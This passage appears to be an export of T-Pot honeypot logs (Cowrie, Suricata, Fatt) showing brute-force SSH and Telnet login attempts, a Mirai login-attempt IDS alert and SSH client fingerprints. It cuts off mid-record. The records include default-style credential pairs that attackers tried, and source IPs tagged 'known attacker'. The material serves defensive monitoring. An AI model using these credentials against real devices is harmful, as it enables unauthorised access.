20016	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:03:31.00991+03	2021-09-20 14:15:01.842612+03	{"_id": "LgXgAnwBvYTbRNuEFPgP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.login.failed", "message": "login attempt [tom/password] failed", "session": "2f74c6300fb4", "@version": "1", "password": "password", "username": "tom", "timestamp": "2021-09-20T11:03:31.009910Z", "@timestamp": "2021-09-20T11:03:31.009Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20017	177.64.206.208	109.199.241.180	Suricata	2021-09-20 14:03:34.106563+03	2021-09-20 14:15:01.843614+03	{"_id": "TAXgAnwBvYTbRNuEHvjy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:03:32.936046+0000", "pkts_toclient": 7, "pkts_toserver": 7, "bytes_toclient": 434, "bytes_toserver": 432}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2016_10_26"], "deployment": ["Datacenter"], "updated_at": ["2016_11_08"], "attack_target": ["IoT"], "affected_product": ["Linux"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET MALWARE Possible Linux.Mirai Login Attempt (666666)", "signature_id": 2023432}, "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "src_ip": "177.64.206.208", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1686684836317294, "payload": "NjY2NjY2DQo=", "@version": "1", "in_iface": "enp5s0", "src_port": 58833, "app_proto": "failed", "dest_port": 23, "timestamp": "2021-09-20T11:03:34.106563Z", "@timestamp": "2021-09-20T11:03:34.106Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "666666\\r\\n"}}	1	\N	\N	alert	\N	\N
20036	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:03:33.672835+03	2021-09-20 14:15:01.868613+03	{"_id": "SQXgAnwBvYTbRNuEHPgm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "376c94178797", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:03:33.672835Z", "@timestamp": "2021-09-20T11:03:33.672Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20018	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:03:33.962077+03	2021-09-20 14:15:01.844613+03	{"_id": "TQXgAnwBvYTbRNuEH_jI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 64447, "dest_port": 22, "timestamp": "2021-09-20T11:03:33.962077", "@timestamp": "2021-09-20T11:03:33.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20019	177.64.206.208	109.199.241.180	Cowrie	2021-09-20 14:03:34.598264+03	2021-09-20 14:15:01.846612+03	{"_id": "TgXgAnwBvYTbRNuEH_jI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "sensor": "b63cdd9641b8", "src_ip": "177.64.206.208", "eventid": "cowrie.login.failed", "message": "login attempt [666666/666666] failed", "session": "a958228e586c", "@version": "1", "password": "666666", "username": "666666", "timestamp": "2021-09-20T11:03:34.598264Z", "@timestamp": "2021-09-20T11:03:34.598Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
20020	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:03:35.807888+03	2021-09-20 14:15:01.847612+03	{"_id": "UAXgAnwBvYTbRNuEI_j3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.89.194.160:56550 (192.168.176.2:22) [session: 29357653813e]", "session": "29357653813e", "@version": "1", "protocol": "ssh", "src_port": 56550, "dest_port": 22, "timestamp": "2021-09-20T11:03:35.807888Z", "@timestamp": "2021-09-20T11:03:35.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20021	177.64.206.208	109.199.241.180	Cowrie	2021-09-20 14:03:35.305967+03	2021-09-20 14:15:01.848613+03	{"_id": "UgXgAnwBvYTbRNuEI_j3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "sensor": "b63cdd9641b8", "src_ip": "177.64.206.208", "eventid": "cowrie.login.failed", "message": "login attempt [root/00000000] failed", "session": "a958228e586c", "@version": "1", "password": "00000000", "username": "root", "timestamp": "2021-09-20T11:03:35.305967Z", "@timestamp": "2021-09-20T11:03:35.305Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
20022	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:03:44.919032+03	2021-09-20 14:15:01.849614+03	{"_id": "jQXgAnwBvYTbRNuER_gm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.122.188.154:43240 (192.168.176.2:22) [session: 951ce8981b60]", "session": "951ce8981b60", "@version": "1", "protocol": "ssh", "src_port": 43240, "dest_port": 22, "timestamp": "2021-09-20T11:03:44.919032Z", "@timestamp": "2021-09-20T11:03:44.919Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20023	176.122.188.154	109.199.241.180	Suricata	2021-09-20 14:03:45.091228+03	2021-09-20 14:15:01.850612+03	{"_id": "kwXgAnwBvYTbRNuESfjx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:03:44.751786+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 58900821866666, "payload": "AAADzAYUOSNyrfVv0TFX3G4eBNiS4AAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43240, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:03:45.091228Z", "@timestamp": "2021-09-20T11:03:45.091Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......9#r..o.1W.n........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
20029	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:03:45.866583+03	2021-09-20 14:15:01.860613+03	{"_id": "mAXgAnwBvYTbRNuESvjG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.login.failed", "message": "login attempt [visitor/123456] failed", "session": "951ce8981b60", "@version": "1", "password": "123456", "username": "visitor", "timestamp": "2021-09-20T11:03:45.866583Z", "@timestamp": "2021-09-20T11:03:45.866Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20024	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:03:44.923209+03	2021-09-20 14:15:01.852613+03	{"_id": "lQXgAnwBvYTbRNuESviH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.122.188.154", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43240, "timestamp": "2021-09-20T11:03:44.923209", "@timestamp": "2021-09-20T11:03:44.923Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20025	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:03:44.922291+03	2021-09-20 14:15:01.854612+03	{"_id": "kgXgAnwBvYTbRNuER_gm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "951ce8981b60", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:03:44.922291Z", "@timestamp": "2021-09-20T11:03:44.922Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20026	176.122.188.154	109.199.241.180	Suricata	2021-09-20 14:03:45.087583+03	2021-09-20 14:15:01.855612+03	{"_id": "lAXgAnwBvYTbRNuESfjx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "flow_id": 58900821866666, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43240, "dest_port": 22, "timestamp": "2021-09-20T11:03:45.087583Z", "@timestamp": "2021-09-20T11:03:45.087Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20027	176.122.188.154	109.199.241.180	Fatt	2021-09-20 14:03:45.091228+03	2021-09-20 14:15:01.857612+03	{"_id": "lgXgAnwBvYTbRNuESviH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 43240, "dest_port": 22, "timestamp": "2021-09-20T11:03:45.091228", "@timestamp": "2021-09-20T11:03:45.091Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20028	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:03:45.091892+03	2021-09-20 14:15:01.858615+03	{"_id": "lwXgAnwBvYTbRNuESvjG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "951ce8981b60", "@version": "1", "timestamp": "2021-09-20T11:03:45.091892Z", "@timestamp": "2021-09-20T11:03:45.091Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 